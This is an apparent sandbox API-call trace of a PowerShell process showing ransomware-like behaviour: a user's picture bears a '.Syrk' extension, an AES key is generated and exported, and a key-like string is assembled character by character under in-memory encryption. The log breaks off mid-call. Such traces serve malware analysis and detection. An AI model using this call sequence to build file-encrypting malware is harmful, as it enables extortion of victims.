EtwEventActivityIdControl () returned 0x0 [0250.085] EtwEventActivityIdControl () returned 0x0 [0250.089] EtwEventActivityIdControl () returned 0x0 [0250.090] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.090] EtwEventActivityIdControl () returned 0x0 [0250.090] EtwEventActivityIdControl () returned 0x0 [0250.090] EtwEventActivityIdControl () returned 0x0 [0250.094] EtwEventActivityIdControl () returned 0x0 [0250.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0250.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\Gn4IO1VV8utHsX.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gn4io1vv8uthsx.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x246c888 | out: lpFileInformation=0x246c888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b41c50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x10b41c50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x10b67db0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x7d24)) returned 1 [0250.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0250.099] GetConsoleOutputCP () returned 0x1b5 [0250.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.136] GetConsoleOutputCP () returned 0x1b5 [0250.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.136] GetConsoleOutputCP () returned 0x1b5 [0250.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.136] GetConsoleOutputCP () returned 0x1b5 [0250.136] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.136] GetConsoleOutputCP () returned 0x1b5 [0250.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.137] GetConsoleOutputCP () returned 0x1b5 [0250.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.137] GetConsoleOutputCP () returned 0x1b5 [0250.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.137] GetConsoleOutputCP () returned 0x1b5 [0250.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.137] GetConsoleOutputCP () returned 0x1b5 [0250.137] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.137] GetConsoleOutputCP () returned 0x1b5 [0250.138] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.138] GetConsoleOutputCP () returned 0x1b5 [0250.138] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.138] GetConsoleOutputCP () returned 0x1b5 [0250.138] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.138] GetConsoleOutputCP () returned 0x1b5 [0250.138] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0250.138] GetConsoleOutputCP () returned 0x1b5 [0250.138] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0250.138] GetConsoleOutputCP () returned 0x1b5 [0250.139] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.139] GetConsoleOutputCP () returned 0x1b5 [0250.139] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0250.139] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0250.139] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0250.139] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24864d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24864d8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0250.140] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0250.140] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0250.141] EtwEventActivityIdControl () returned 0x0 [0250.141] EtwEventActivityIdControl () returned 0x0 [0250.141] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.142] EtwEventActivityIdControl () returned 0x0 [0250.142] EtwEventActivityIdControl () returned 0x0 [0250.142] EtwEventActivityIdControl () returned 0x0 [0250.143] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.144] EtwEventActivityIdControl () returned 0x0 [0250.144] EtwEventActivityIdControl () returned 0x0 [0250.144] EtwEventActivityIdControl () returned 0x0 [0250.145] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0250.146] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99520) returned 1 [0250.146] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0250.146] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0250.146] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x248deb0, pdwDataLen=0x5a2e8c4 | out: pbData=0x248deb0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0250.147] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.147] EtwEventActivityIdControl () returned 0x0 [0250.147] EtwEventActivityIdControl () returned 0x0 [0250.147] EtwEventActivityIdControl () returned 0x0 [0250.148] SysStringLen (param_1="") returned 0x8 [0250.148] SysStringLen (param_1="4") returned 0x8 [0250.148] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.148] SysStringLen (param_1="욞멜⎀﵎숔结表ퟰ") returned 0x8 [0250.148] SysStringLen (param_1="욞멜⎀﵎숔结表ퟰ") returned 0x8 [0250.148] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.148] SysStringLen (param_1="4R") returned 0x8 [0250.148] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.148] SysStringLen (param_1="⏣珤䷘Ⰺ晩꼗琒視") returned 0x8 [0250.149] SysStringLen (param_1="⏣珤䷘Ⰺ晩꼗琒視") returned 0x8 [0250.149] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="4Rh") returned 0x8 [0250.149] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="딑㧧羂涿좓㺸嗠") returned 0x8 [0250.149] SysStringLen (param_1="딑㧧羂涿좓㺸嗠") returned 0x8 [0250.149] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="4Rhg") returned 0x8 [0250.149] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="ꖷ縖肸蔍㢷\姝뛹⋗) returned 0x8 [0250.149] SysStringLen (param_1="ꖷ縖肸蔍㢷\姝뛹⋗) returned 0x8 [0250.149] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="4Rhgb") returned 0x8 [0250.149] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.149] SysStringLen (param_1="⾛稯烚⍽㻅餷\棝⋏) returned 0x8 [0250.150] SysStringLen (param_1="⾛稯烚⍽㻅餷\棝⋏) returned 0x8 [0250.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="4RhgbO") returned 0x8 [0250.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="듚샭봻痄濌ꥬﾷ互") returned 0x8 [0250.150] SysStringLen (param_1="듚샭봻痄濌ꥬﾷ互") returned 0x8 [0250.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="4RhgbOW") returned 0x8 [0250.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="벱퐶\Ộ쥪燠暘ٞ⊊) returned 0x8 [0250.150] SysStringLen (param_1="벱퐶\Ộ쥪燠暘ٞ⊊) returned 0x8 [0250.150] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="4RhgbOW9") returned 0x8 [0250.150] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.150] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯") returned 0x8 [0250.151] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯") returned 0x8 [0250.151] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯") returned 0x8 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯") returned 0x10 [0250.152] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="4RhgbOW9x쎵㾺ი乮幒ດ") returned 0x10 [0250.152] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯ɘ蝼엩籆೒䓂蝬") returned 0x10 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯ɘ蝼엩籆೒䓂蝬") returned 0x10 [0250.152] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="4RhgbOW9xz㾺ი乮幒ດ") returned 0x10 [0250.152] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯\藘ꐵꌉἉꇌ㵮≡) returned 0x10 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯\藘ꐵꌉἉꇌ㵮≡) returned 0x10 [0250.152] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="4RhgbOW9xztი乮幒ດ") returned 0x10 [0250.152] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.152] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯饞됋䢽ᓬᓾ൒귂㡫") returned 0x10 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯饞됋䢽ᓬᓾ൒귂㡫") returned 0x10 [0250.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="4RhgbOW9xzth乮幒ດ") returned 0x10 [0250.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯뫬읛ߎ쥴炻鿵") returned 0x10 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯뫬읛ߎ쥴炻鿵") returned 0x10 [0250.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="4RhgbOW9xzthf乮幒ດ") returned 0x10 [0250.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯ᄏ襾㘐崪㴾驉") returned 0x10 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯ᄏ襾㘐崪㴾驉") returned 0x10 [0250.153] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="4RhgbOW9xzthfh幒ດ") returned 0x10 [0250.153] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯⺍錠公퀻훲곡䉁") returned 0x10 [0250.153] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯⺍錠公퀻훲곡䉁") returned 0x10 [0250.154] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.154] SysStringLen (param_1="4RhgbOW9xzthfhnດ") returned 0x10 [0250.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.154] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯璦熒쒈棆焃䆐") returned 0x10 [0250.154] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯璦熒쒈棆焃䆐") returned 0x10 [0250.154] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.154] SysStringLen (param_1="4RhgbOW9xzthfhne") returned 0x10 [0250.154] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.154] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹") returned 0x10 [0250.154] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹") returned 0x10 [0250.154] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹") returned 0x10 [0250.155] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹") returned 0x18 [0250.155] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.155] SysStringLen (param_1="4RhgbOW9xzthfhneb⭨ᜅꝐ螌啼㹛ꬂ") returned 0x18 [0250.155] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.155] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹횡篅㡱㧪绀뭂퉀탩") returned 0x18 [0250.155] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹횡篅㡱㧪绀뭂퉀탩") returned 0x18 [0250.155] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.155] SysStringLen (param_1="4RhgbOW9xzthfhnebSᜅꝐ螌啼㹛ꬂ") returned 0x18 [0250.155] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.155] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹㥵鎀䇄勒娒祉┥") returned 0x18 [0250.155] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹㥵鎀䇄勒娒祉┥") returned 0x18 [0250.155] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="4RhgbOW9xzthfhnebSsꝐ螌啼㹛ꬂ") returned 0x18 [0250.156] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뼙ӃᎸ䣡\퇞윧≢) returned 0x18 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뼙ӃᎸ䣡\퇞윧≢) returned 0x18 [0250.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4螌啼㹛ꬂ") returned 0x18 [0250.156] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹څ鹚ဩ쯜惂룅찳") returned 0x18 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹څ鹚ဩ쯜惂룅찳") returned 0x18 [0250.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l啼㹛ꬂ") returned 0x18 [0250.156] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹ㆸ⺟煗婶ꉮ\釞绗⊝) returned 0x18 [0250.156] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹ㆸ⺟煗婶ꉮ\釞绗⊝) returned 0x18 [0250.156] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9㹛ꬂ") returned 0x18 [0250.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹﹋瀦⛲ᙺ뭌淧蘽賴") returned 0x18 [0250.157] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹﹋瀦⛲ᙺ뭌淧蘽賴") returned 0x18 [0250.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9Xꬂ") returned 0x18 [0250.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹䋝꿓䦟ფ䴔↎კࢸ") returned 0x18 [0250.157] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹䋝꿓䦟ფ䴔↎კࢸ") returned 0x18 [0250.157] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XS") returned 0x18 [0250.157] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.157] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀") returned 0x18 [0250.158] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀") returned 0x18 [0250.158] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀") returned 0x18 [0250.158] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀") returned 0x20 [0250.158] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.158] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSs꓇뭴ᄧꞧ綠䗻") returned 0x20 [0250.158] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.158] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ụꏉ➘騯Ⰰ抑\≢) returned 0x20 [0250.158] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ụꏉ➘騯Ⰰ抑\≢) returned 0x20 [0250.158] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.158] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSsk뭴ᄧꞧ綠䗻") returned 0x20 [0250.158] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀—꺁䋶孉㄂ꆐ㍐") returned 0x20 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀—꺁䋶孉㄂ꆐ㍐") returned 0x20 [0250.159] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKᄧꞧ綠䗻") returned 0x20 [0250.159] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀극뇁諽휄춊盢欔") returned 0x20 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀극뇁諽휄춊盢欔") returned 0x20 [0250.159] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNꞧ綠䗻") returned 0x20 [0250.159] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀ꑣ䮂郕岙歰郸臵") returned 0x20 [0250.159] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀ꑣ䮂郕岙歰郸臵") returned 0x20 [0250.159] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.159] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDꞧ綠䗻") returned 0x20 [0250.159] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀ł０큌垠呢˚㖂≢") returned 0x20 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀ł０큌垠呢˚㖂≢") returned 0x20 [0250.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG綠䗻") returned 0x20 [0250.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀\賛룍䜐䍐⃿∥) returned 0x20 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀\賛룍䜐䍐⃿∥) returned 0x20 [0250.160] SystemFunction041 (in: 